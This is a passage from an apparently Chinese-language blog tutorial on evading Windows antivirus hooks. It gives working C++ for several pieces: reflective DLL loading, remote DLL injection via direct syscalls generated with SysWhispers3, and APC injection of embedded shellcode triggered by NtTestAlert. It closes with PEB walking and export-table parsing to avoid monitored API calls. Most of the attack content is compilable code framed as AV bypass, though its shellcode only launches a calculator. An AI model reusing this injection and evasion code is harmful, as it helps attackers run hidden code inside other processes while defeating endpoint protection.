	while (relocationBlock->SizeOfBlock != NULL)
	{
		// 一个Block的总大小除以每个重定位项的大小为所有的重定位项的数量
		DWORD relocationsCount = (relocationBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
		// 找到重定位项的入口
		PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD_PTR)relocationBlock + sizeof(IMAGE_BASE_RELOCATION));

		for (DWORD i = 0; i < relocationsCount; i++) {
			if (relocationEntries[i].Type == 0) {
				continue;
			}

			DWORD_PTR relocationRVA = relocationBlock->VirtualAddress + relocationEntries[i].Offset;
			DWORD_PTR addressToPatch = 0;

			LPVOID addressToReloc = (LPVOID)((DWORD_PTR)dllBase + relocationRVA);
			
			// 读取未重定位以前的绝对地址`
			ReadProcessMemory(GetCurrentProcess(), addressToReloc, &addressToPatch, sizeof(DWORD_PTR), NULL);
			// 重定位以后的地址
			addressToPatch += deltaImageBase;

			std::memcpy(addressToReloc, &addressToPatch, sizeof(DWORD_PTR));
		}
		
		relocationBlock = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationBlock + relocationBlock->SizeOfBlock);
	}

	// 修复导入表
	PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
	IMAGE_DATA_DIRECTORY importsDirectory = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
	LPCSTR libraryName = "";
	HMODULE library = NULL;

	while (importDescriptor->Name != NULL) {
		// 获取DLL的名称
		libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
		library = LoadLibraryA(libraryName);
		if (library) {
			// 获取IAT的地址
			PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((DWORD)dllBase + importDescriptor->FirstThunk);
			// 便利INT的项
			while (thunk->u1.AddressOfData != NULL) {
				if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
					LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
					thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
				}
				else {
					PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
					DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
					thunk->u1.Function = functionAddress;
				}
				++thunk;
			}
		}
		importDescriptor++;
		
	}

	DLLEntry dllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeader->OptionalHeader.AddressOfEntryPoint);
	(*dllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
	CloseHandle(dll);
	HeapFree(GetProcessHeap(), 0, heapBuf);
	return 0;
}

syscall

很多AV为了系统的稳定性,很多都在ring3进行敏感函数的hook和拦截,而如CreateThreadEx最后调用的是NtCreateThreadEx,这类方法最终会通过系统调用,在内核中进行处理,而从ntdll.dll中可以看到,Nt*系列方法都是一样的代码片段,只是相应的系统调用号不同
image-1669174147253
所以我们可以直接通过syscall来调用内核函数,绕过ring3层的hook
内核调用号表:Windows X86-64 System Call Table (XP/2003/Vista/2008/7/2012/8/10)

直接系统调用

通过自己编写Nt*系列的汇编调用,可以绕过ring3层的函数hook,这里可以通过SysWhispers3这个项目方便的生成直接系统调用的代码,使用的时候直接包含头文件即可

通过SysWhipspers3生成所有函数的系统调用(不必要,根据不同的需求生成不同的函数即可):python syswhispers.py --preset all -o output/syscalls_all
命令执行成功后,会在output目录生成如下的文件
image-1669174562451

之后在Visual Studio中,将.h文件添加至头文件,将.c和.asm文件添加至源文件
image-1669174618962

这里需要注意,Visual Studio中的添加并不会将文件添加到当前项目,而仅仅是一种链接关系,所以我们想要包含这个.h文件,就需要在Visutal Studio中设置查找.h文件的路径,在项目属性中添加对应的头文件路径,需要保证,上方的配置和平台和项目的一致
image-1669174731563
image-1669174787219

之后就可以在代码中直接调用NtCreateThreadEx这类Nt*系列函数了:

#include <iostream>
#include <Windows.h>
#include "syscalls_all.h"


int main()
{
	DWORD procID = 19332; // 要注入的进程pid
	LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll";  // DLL文件所在的路径
	DWORD dllLen = strlen(dllPath); // 这里一定是strlen函数获取长度,绝对不能用sizeof,不然获取的是指针的长度


	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, procID); // 打开要注入的进程,获取要注入进程的句柄
	if (hProc == NULL) {
		printf("open process fail: 0x%x", GetLastError());
		return 1;
	}

	LPVOID buf = VirtualAllocEx(hProc, NULL, dllLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 在目标进程的内存空间中申请一段内存,其实只需要RW权限
	if (buf == NULL) {
		printf("alloc memory fail: 0x%x", GetLastError());
		return 1;
	}

	BOOL success = WriteProcessMemory(hProc, buf, dllPath, dllLen, NULL); // 将DLL的路径写入到申请的内存段中
	if (!success) {
		printf("write dll path to process fail: 0x%x", GetLastError());
		return 1;
	}

	HMODULE hKernel = LoadLibraryA("kernel32.dll"); // 加载kernel32.dll,获取对应的句柄
	if (hKernel == NULL) {
		printf("load kernel32.dll fail: 0x%x", GetLastError());
		return 1;
	}

	LPVOID lAddr = GetProcAddress(hKernel, "LoadLibraryA"); // 直接获取当前进程的LoadLibraryA函数的地址,因为kernel32.dll在所有进程的加载地址都是一样的,所以当前进程的LoadLibarayA函数和目标进程的地址是一样的
	if (lAddr == NULL) {
		printf("get LoadLibrary addr fail: 0x%x", GetLastError());
		return 1;
	}

	HANDLE hThread;
	NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProc, (LPTHREAD_START_ROUTINE)lAddr, buf, FALSE, NULL, NULL, NULL, NULL);


	//HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lAddr, buf, 0, NULL); // 创建远程线程,开始执行的地方在LoadLibarayA函数的地址,并且向LoadLibarayA函数传入dll的路径
	if (hThread == NULL) {
		printf("create remote thread fail: 0x%x", GetLastError());
		return 1;
	}
	DWORD retCode = WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
	printf("thread exit code is 0x%x", retCode);

	return 0;
}

通过Process Monitor查看新线程的调用栈,可以看到直接进入到了内核,而没有经过任何ring3的函数:
image-1669174898377

APC注入

NtTestAlert

Windows的每个线程都存在一个APC队列,操作系统会在线程位Alertable的状态下,取出APC队列中的任务进行执行,所以可以通过APC来实现shellcode的执行

往线程添加APC队列的函数为:QueueUserAPC,但是APC队列的执行需要条件,只有线程在调用SleepEx,WaitForSingleObject等函数的时候,线程才会变成Alertable的状态

而在ntdll.dll中有NtTestAlert函数,可以手动触发APC队列的执行,但此函数不导出,我们需要手动从ntdll中获取函数的地址

#include <iostream>
#include <Windows.h>

// 弹出计算器shellcode
unsigned char data[] = {
  0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
  0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
  0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
  0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
  0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
  0x01, 0xf7, 0x99, 0xff, 0xd7
};

using myNtTestAlert = NTSTATUS(NTAPI*)();


int main()
{
	myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert"));

	SIZE_T shellSize = sizeof(data);
	LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(GetCurrentProcess(), shellAddress, data, shellSize, NULL);

	QueueUserAPC((PAPCFUNC)shellAddress, GetCurrentThread(), NULL);
	testAlert();
	return 0;
}

PEB

PEB(进程环境块)在Windows中用来描述一个进程的各种信息,而PEB中存在加载的DLL列表,通过这种方式,我们就可以绕过对LoadLibrary和GetProcAddress的调用,直接通过PEB获取到需要调用的函数地址
参考文章:[原创]PEB结构:获取模块kernel32基址技术及原理分析

PEB的结构:
image-1669275640192

获取加载DLL

获取PEB

在32位下,PEB在TEB(线程环境块)的0x30处,而TEB的地址可以通过FS寄存器拿到,所以通过FS:[0x30]即可拿到PEB的地址
在64位下,PEB在GS寄存器的0x60处,所以我们可以直接通过GS寄存器拿到PEB的地址

在不同的Windows版本下,PEB的结构是有区别的,所以我们需要知道每个Windows版本下PEB的结构,可以通过这个网站查询:https://www.vergiliusproject.com/kernels

按照预先设定好的Windows版本,在项目下定义peb.h定义需要用到的PEB结构:

#pragma once
#include <Windows.h>

//0x10 bytes (sizeof)
struct _STRING64
{
    USHORT Length;                                                          //0x0
    USHORT MaximumLength;                                                   //0x2
    ULONGLONG Buffer;                                                       //0x8
};

//0x7d0 bytes (sizeof)
struct _PEB64
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages : 1;                                    //0x3
            UCHAR IsProtectedProcess : 1;                                     //0x3
            UCHAR IsImageDynamicallyRelocated : 1;                            //0x3
            UCHAR SkipPatchingUser32Forwarders : 1;                           //0x3
            UCHAR IsPackagedProcess : 1;                                      //0x3
            UCHAR IsAppContainer : 1;                                         //0x3
            UCHAR IsProtectedProcessLight : 1;                                //0x3
            UCHAR IsLongPathAwareProcess : 1;                                 //0x3
        };
    };
    UCHAR Padding0[4];                                                      //0x4
    ULONGLONG Mutant;                                                       //0x8
    ULONGLONG ImageBaseAddress;                                             //0x10
    ULONGLONG Ldr;                                                          //0x18
    ULONGLONG ProcessParameters;                                            //0x20
    ULONGLONG SubSystemData;                                                //0x28
    ULONGLONG ProcessHeap;                                                  //0x30
    ULONGLONG FastPebLock;                                                  //0x38
    ULONGLONG AtlThunkSListPtr;                                             //0x40
    ULONGLONG IFEOKey;                                                      //0x48
    union
    {
        ULONG CrossProcessFlags;                                            //0x50
        struct
        {
            ULONG ProcessInJob : 1;                                           //0x50
            ULONG ProcessInitializing : 1;                                    //0x50
            ULONG ProcessUsingVEH : 1;                                        //0x50
            ULONG ProcessUsingVCH : 1;                                        //0x50
            ULONG ProcessUsingFTH : 1;                                        //0x50
            ULONG ProcessPreviouslyThrottled : 1;                             //0x50
            ULONG ProcessCurrentlyThrottled : 1;                              //0x50
            ULONG ProcessImagesHotPatched : 1;                                //0x50
            ULONG ReservedBits0 : 24;                                         //0x50
        };
    };
    UCHAR Padding1[4];                                                      //0x54
    union
    {
        ULONGLONG KernelCallbackTable;                                      //0x58
        ULONGLONG UserSharedInfoPtr;                                        //0x58
    };
    ULONG SystemReserved;                                                   //0x60
    ULONG AtlThunkSListPtr32;                                               //0x64
    ULONGLONG ApiSetMap;                                                    //0x68
    ULONG TlsExpansionCounter;                                              //0x70
    UCHAR Padding2[4];                                                      //0x74
    ULONGLONG TlsBitmap;                                                    //0x78
    ULONG TlsBitmapBits[2];                                                 //0x80
    ULONGLONG ReadOnlySharedMemoryBase;                                     //0x88
    ULONGLONG SharedData;                                                   //0x90
    ULONGLONG ReadOnlyStaticServerData;                                     //0x98
    ULONGLONG AnsiCodePageData;                                             //0xa0
    ULONGLONG OemCodePageData;                                              //0xa8
    ULONGLONG UnicodeCaseTableData;                                         //0xb0
    ULONG NumberOfProcessors;                                               //0xb8
    ULONG NtGlobalFlag;                                                     //0xbc
    union _LARGE_INTEGER CriticalSectionTimeout;                            //0xc0
    ULONGLONG HeapSegmentReserve;                                           //0xc8
    ULONGLONG HeapSegmentCommit;                                            //0xd0
    ULONGLONG HeapDeCommitTotalFreeThreshold;                               //0xd8
    ULONGLONG HeapDeCommitFreeBlockThreshold;                               //0xe0
    ULONG NumberOfHeaps;                                                    //0xe8
    ULONG MaximumNumberOfHeaps;                                             //0xec
    ULONGLONG ProcessHeaps;                                                 //0xf0
    ULONGLONG GdiSharedHandleTable;                                         //0xf8
    ULONGLONG ProcessStarterHelper;                                         //0x100
    ULONG GdiDCAttributeList;                                               //0x108
    UCHAR Padding3[4];                                                      //0x10c
    ULONGLONG LoaderLock;                                                   //0x110
    ULONG OSMajorVersion;                                                   //0x118
    ULONG OSMinorVersion;                                                   //0x11c
    USHORT OSBuildNumber;                                                   //0x120
    USHORT OSCSDVersion;                                                    //0x122
    ULONG OSPlatformId;                                                     //0x124
    ULONG ImageSubsystem;                                                   //0x128
    ULONG ImageSubsystemMajorVersion;                                       //0x12c
    ULONG ImageSubsystemMinorVersion;                                       //0x130
    UCHAR Padding4[4];                                                      //0x134
    ULONGLONG ActiveProcessAffinityMask;                                    //0x138
    ULONG GdiHandleBuffer[60];                                              //0x140
    ULONGLONG PostProcessInitRoutine;                                       //0x230
    ULONGLONG TlsExpansionBitmap;                                           //0x238
    ULONG TlsExpansionBitmapBits[32];                                       //0x240
    ULONG SessionId;                                                        //0x2c0
    UCHAR Padding5[4];                                                      //0x2c4
    union _ULARGE_INTEGER AppCompatFlags;                                   //0x2c8
    union _ULARGE_INTEGER AppCompatFlagsUser;                               //0x2d0
    ULONGLONG pShimData;                                                    //0x2d8
    ULONGLONG AppCompatInfo;                                                //0x2e0
    struct _STRING64 CSDVersion;                                            //0x2e8
    ULONGLONG ActivationContextData;                                        //0x2f8
    ULONGLONG ProcessAssemblyStorageMap;                                    //0x300
    ULONGLONG SystemDefaultActivationContextData;                           //0x308
    ULONGLONG SystemAssemblyStorageMap;                                     //0x310
    ULONGLONG MinimumStackCommit;                                           //0x318
    ULONGLONG SparePointers[2];                                             //0x320
    ULONGLONG PatchLoaderData;                                              //0x330
    ULONGLONG ChpeV2ProcessInfo;                                            //0x338
    ULONG AppModelFeatureState;                                             //0x340
    ULONG SpareUlongs[2];                                                   //0x344
    USHORT ActiveCodePage;                                                  //0x34c
    USHORT OemCodePage;                                                     //0x34e
    USHORT UseCaseMapping;                                                  //0x350
    USHORT UnusedNlsField;                                                  //0x352
    ULONGLONG WerRegistrationData;                                          //0x358
    ULONGLONG WerShipAssertPtr;                                             //0x360
    ULONGLONG EcCodeBitMap;                                                 //0x368
    ULONGLONG pImageHeaderHash;                                             //0x370
    union
    {
        ULONG TracingFlags;                                                 //0x378
        struct
        {
            ULONG HeapTracingEnabled : 1;                                     //0x378
            ULONG CritSecTracingEnabled : 1;                                  //0x378
            ULONG LibLoaderTracingEnabled : 1;                                //0x378
            ULONG SpareTracingBits : 29;                                      //0x378
        };
    };
    UCHAR Padding6[4];                                                      //0x37c
    ULONGLONG CsrServerReadOnlySharedMemoryBase;                            //0x380
    ULONGLONG TppWorkerpListLock;                                           //0x388
    struct LIST_ENTRY64 TppWorkerpList;                                     //0x390
    ULONGLONG WaitOnAddressHashTable[128];                                  //0x3a0
    ULONGLONG TelemetryCoverageHeader;                                      //0x7a0
    ULONG CloudFileFlags;                                                   //0x7a8
    ULONG CloudFileDiagFlags;                                               //0x7ac
    CHAR PlaceholderCompatibilityMode;                                      //0x7b0
    CHAR PlaceholderCompatibilityModeReserved[7];                           //0x7b1
    ULONGLONG LeapSecondData;                                               //0x7b8
    union
    {
        ULONG LeapSecondFlags;                                              //0x7c0
        struct
        {
            ULONG SixtySecondEnabled : 1;                                     //0x7c0
            ULONG Reserved : 31;                                              //0x7c0
        };
    };
    ULONG NtGlobalFlag2;                                                    //0x7c4
    ULONGLONG ExtendedFeatureDisableMask;                                   //0x7c8
};

//0x58 bytes (sizeof)
struct _PEB_LDR_DATA
{
    ULONG Length;                                                           //0x0
    UCHAR Initialized;                                                      //0x4
    VOID* SsHandle;                                                         //0x8
    struct _LIST_ENTRY InLoadOrderModuleList;                               //0x10
    struct _LIST_ENTRY InMemoryOrderModuleList;                             //0x20
    struct _LIST_ENTRY InInitializationOrderModuleList;                     //0x30
    VOID* EntryInProgress;                                                  //0x40
    UCHAR ShutdownInProgress;                                               //0x48
    VOID* ShutdownThreadId;                                                 //0x50
};

//0x10 bytes (sizeof)
struct _UNICODE_STRING
{
    USHORT Length;                                                          //0x0
    USHORT MaximumLength;                                                   //0x2
    WCHAR* Buffer;                                                          //0x8
};

//0x18 bytes (sizeof)
struct _RTL_BALANCED_NODE
{
    union
    {
        struct _RTL_BALANCED_NODE* Children[2];                             //0x0
        struct
        {
            struct _RTL_BALANCED_NODE* Left;                                //0x0
            struct _RTL_BALANCED_NODE* Right;                               //0x8
        };
    };
    union
    {
        struct
        {
            UCHAR Red : 1;                                                    //0x10
            UCHAR Balance : 2;                                                //0x10
        };
        ULONGLONG ParentValue;                                              //0x10
    };
};

//0x138 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
    struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
    struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x10
    struct _LIST_ENTRY InInitializationOrderLinks;                          //0x20
    VOID* DllBase;                                                          //0x30
    VOID* EntryPoint;                                                       //0x38
    ULONG SizeOfImage;                                                      //0x40
    struct _UNICODE_STRING FullDllName;                                     //0x48
    struct _UNICODE_STRING BaseDllName;                                     //0x58
    union
    {
        UCHAR FlagGroup[4];                                                 //0x68
        ULONG Flags;                                                        //0x68
        struct
        {
            ULONG PackagedBinary : 1;                                         //0x68
            ULONG MarkedForRemoval : 1;                                       //0x68
            ULONG ImageDll : 1;                                               //0x68
            ULONG LoadNotificationsSent : 1;                                  //0x68
            ULONG TelemetryEntryProcessed : 1;                                //0x68
            ULONG ProcessStaticImport : 1;                                    //0x68
            ULONG InLegacyLists : 1;                                          //0x68
            ULONG InIndexes : 1;                                              //0x68
            ULONG ShimDll : 1;                                                //0x68
            ULONG InExceptionTable : 1;                                       //0x68
            ULONG ReservedFlags1 : 2;                                         //0x68
            ULONG LoadInProgress : 1;                                         //0x68
            ULONG LoadConfigProcessed : 1;                                    //0x68
            ULONG EntryProcessed : 1;                                         //0x68
            ULONG ProtectDelayLoad : 1;                                       //0x68
            ULONG ReservedFlags3 : 2;                                         //0x68
            ULONG DontCallForThreads : 1;                                     //0x68
            ULONG ProcessAttachCalled : 1;                                    //0x68
            ULONG ProcessAttachFailed : 1;                                    //0x68
            ULONG CorDeferredValidate : 1;                                    //0x68
            ULONG CorImage : 1;                                               //0x68
            ULONG DontRelocate : 1;                                           //0x68
            ULONG CorILOnly : 1;                                              //0x68
            ULONG ChpeImage : 1;                                              //0x68
            ULONG ChpeEmulatorImage : 1;                                      //0x68
            ULONG ReservedFlags5 : 1;                                         //0x68
            ULONG Redirected : 1;                                             //0x68
            ULONG ReservedFlags6 : 2;                                         //0x68
            ULONG CompatDatabaseProcessed : 1;                                //0x68
        };
    };
    USHORT ObsoleteLoadCount;                                               //0x6c
    USHORT TlsIndex;                                                        //0x6e
    struct _LIST_ENTRY HashLinks;                                           //0x70
    ULONG TimeDateStamp;                                                    //0x80
    struct _ACTIVATION_CONTEXT* EntryPointActivationContext;                //0x88
    VOID* Lock;                                                             //0x90
    struct _LDR_DDAG_NODE* DdagNode;                                        //0x98
    struct _LIST_ENTRY NodeModuleLink;                                      //0xa0
    struct _LDRP_LOAD_CONTEXT* LoadContext;                                 //0xb0
    VOID* ParentDllBase;                                                    //0xb8
    VOID* SwitchBackContext;                                                //0xc0
    struct _RTL_BALANCED_NODE BaseAddressIndexNode;                         //0xc8
    struct _RTL_BALANCED_NODE MappingInfoIndexNode;                         //0xe0
    ULONGLONG OriginalBase;                                                 //0xf8
    union _LARGE_INTEGER LoadTime;                                          //0x100
    ULONG BaseNameHashValue;                                                //0x108
    enum _LDR_DLL_LOAD_REASON LoadReason;                                   //0x10c
    ULONG ImplicitPathOptions;                                              //0x110
    ULONG ReferenceCount;                                                   //0x114
    ULONG DependentLoadFlags;                                               //0x118
    UCHAR SigningLevel;                                                     //0x11c
    ULONG CheckSum;                                                         //0x120
    VOID* ActivePatchImageBase;                                             //0x128
    enum _LDR_HOT_PATCH_STATE HotPatchState;                                //0x130
};

之后就可以通过__readgsqword(0x60)获取到对应的PEB结构

	// 获取PEB的地址
	_PEB64* peb = (_PEB64*)__readgsqword(0x60);
	_PEB_LDR_DATA* ldr = (_PEB_LDR_DATA*)peb->Ldr;

获取DLL基地址

在PEB中存在一个Ldr指针,该指针实际上表示的是_LDR_DATA_TABLE_ENTRY的指针,该结构描述了进程加载的DLL的信息:
image-1669275033234
其中最关键的是三种List,这三种List表示了不同顺序的加载DLL的链表:
InLoadOrderModuleList:以加载顺序排序的模块链表
InMemoryOrderModuleList:以内存位置排序的模块链表
InInitializationOrderModuleList:以初始化顺序排序的模块链表

该链表定义的类型是_LIST_ENTRY,但实际上该指针指向的是_LDR_DATA_TABLE_ENTRY,下面这张图可以很好的描述这种关系:

image-1669275261013

所以通过遍历这三个链表中的任何一个,都可以拿到进程加载的所有DLL

一般我们寻找kernel32.dll的话,使用InInitializationOrderModuleList来遍历会比较快,但是需要注意的是如果通过Ldr->InInitializationOrderModuleList来拿到对应的_LDR_DATA_TABLE_ENTRY结构体,从上图可以看出InInitializationOrderModuleList的Flink并不是指向_LDR_DATA_TABLE_ENTRY的开头的,所以需要在获取到的指针的基础上-0x20

通过遍历链表,我们获取到DLL的加载地址和DLL的名称

#include <iostream>
#include <Windows.h>
#include "peb.h"

int main()
{
	// 获取PEB的地址
	_PEB64* peb = (_PEB64*)__readgsqword(0x60);
	_PEB_LDR_DATA* ldr = (_PEB_LDR_DATA*)peb->Ldr;

	_LDR_DATA_TABLE_ENTRY* entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)ldr->InInitializationOrderModuleList.Flink - 0x20);

	do {
		wprintf(L"dll base name is: %s\n", entry->BaseDllName.Buffer);
		wprintf(L"dll path is: %s\n", entry->FullDllName.Buffer);
		wprintf(L"dll load address: %p\n", entry->DllBase);
		wprintf(L"----------------------------------------------------------------\n");
		entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)entry->InInitializationOrderLinks.Flink - 0x20);

	} while (entry->InInitializationOrderLinks.Flink != ldr->InInitializationOrderModuleList.Blink);
	
	return 0;
}

image-1669275529808
通过这种方式,我们就可以拿到加载的DLL中的函数,而不用去调用LoadLibrary和GetProcAddress这种高危函数

解析DLL导出表

拿到DLL的加载地址之后,就可以解析整个展开的PE文件,拿到对应导出表的内容
通过NT头的OptionalHeader,我们可以拿到导出表描述符的地址,而导出表描述符是如下的一个结构:
image-1669353002520

其中有几个重要的成员:
NumberOfFunctions:导出的函数数量
NumberOfNames:导出的函数名称数量
AddressOfFunctions:导出函数的RVA
AddressOfName:导出函数名称的RVA
AddressOfNameOrdinals:导出函数的序号

其中AddressOfName和AddressOfNameOrdinals是一一对应的关系,而真正的函数地址是以Ordinals作为索引的

这个地方需要千万记得是RVA,而RVA是DWORD类型,在64位下不熟悉函数指针操作的话很容易解析错误,通过解析内存中的导出表,就可以不借助GetProcAddress和LoadLibrary的方式找到其他DLL中的函数

#include <iostream>
#include <Windows.h>
#include "peb.h"

int main()
{
	// 获取PEB的地址
	_PEB64* peb = (_PEB64*)__readgsqword(0x60);
	_PEB_LDR_DATA* ldr = (_PEB_LDR_DATA*)peb->Ldr;

	_LDR_DATA_TABLE_ENTRY* entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)ldr->InInitializationOrderModuleList.Flink - 0x20);

	do {
		wprintf(L"dll base name is: %s\n", entry->BaseDllName.Buffer);
		wprintf(L"dll path is: %s\n", entry->FullDllName.Buffer);
		wprintf(L"dll load address: %p\n", entry->DllBase);
		wprintf(L"----------------------------------------------------------------\n");
		entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)entry->InInitializationOrderLinks.Flink - 0x20);
		
		int cmp = _wcsicmp(entry->BaseDllName.Buffer, L"KERNEL32.DLL");
		if (cmp == 0) {
			// PE文件映像
			DWORD64 peBase = (DWORD64)entry->DllBase;
			// 获取DOS头
			PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBase;
			// 获取NT头
			PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD64)peBase + dosHeader->e_lfanew);
			// 获取导出表的地址
			PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD64)peBase + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);


			// 导出名称表
			DWORD* nameTable = (DWORD*)(peBase + exportTable->AddressOfNames);
			// 导出序号表
			SHORT* ordinalTable = (SHORT*)(peBase + exportTable->AddressOfNameOrdinals);
			// 导出地址表
			DWORD* addressTable = (DWORD*)(peBase + exportTable->AddressOfFunctions);

			HMODULE kHandle = GetModuleHandleA((LPCSTR)(DWORD64)(peBase + exportTable->Name));

			for (int i = 0; i < exportTable->NumberOfNames; i++) {
				DWORD64 nameAddr = peBase + (DWORD)nameTable[i];
				short ordinal = (short)ordinalTable[i];
				DWORD64 rva = (DWORD)addressTable[ordinal];
				DWORD64 addr = peBase + rva;
				DWORD64 realAddr = (DWORD64)GetProcAddress(kHandle, (LPCSTR)nameAddr);

				printf("index: %d, func name: %s, func ordinal: %d, rva: %p, func addr: %p, real addr: %p\n", i, nameAddr, ordinal, rva, addr, realAddr);
			}

			printf("total function is: %d", exportTable->NumberOfFunctions);
		}


	} while (entry->InInitializationOrderLinks.Flink != ldr->InInitializationOrderModuleList.Blink);
	
	return 0;
}

通过手动GetProcAddress,可以看到解析导出表的结果和GetProcAddress的结果是一致的:
image-1669353357121